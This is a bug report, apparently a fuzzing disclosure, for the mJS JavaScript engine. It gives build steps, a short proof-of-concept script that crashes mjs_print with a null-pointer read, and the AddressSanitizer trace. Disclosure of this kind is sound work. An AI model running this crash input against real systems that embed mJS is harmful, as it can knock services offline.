SEGV src/mjs_builtin.c:18 in mjs_print

[hope-fly]

mJS revision

Commit: b1b6eac

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps

vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make

Test case

function D(i) {
    print++i
    return [i];
}
function A() {
    return D.apply(print(chr(D.apply(print(chr(0)), [i, 1, 2, 3]))), [i, 1, 2, 3]);
}
function JSEtest(i) {
    return A(i, 1, 2, 3);
}
JSEtest(89)[0]
JSEtest(0.2)

​

Execution steps & Output

$ ./mjs/build/mjs poc.js
\x00
null
ASAN:DEADLYSIGNAL
=================================================================
==55629==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x55789394d7f2 bp 0x000000000095 sp 0x7ffdc33bd878 T0)
==55629==The signal is caused by a READ memory access.
==55629==Hint: address points to the zero page.
    #0 0x55789394d7f1 in mjs_print src/mjs_builtin.c:18
    #1 0x557893968244 in mjs_execute src/mjs_exec.c:853
    #2 0x557893971a05 in mjs_exec_internal src/mjs_exec.c:1073
    #3 0x557893971a05 in mjs_exec_file src/mjs_exec.c:1096
    #4 0x55789392e909 in main src/mjs_main.c:47
    #5 0x7f7c0e673b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #6 0x55789392f449 in _start (/usr/local/bin/mjs+0xe449)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/mjs_builtin.c:18 in mjs_print
==55629==ABORTING

Credits: Found by OWL337 team.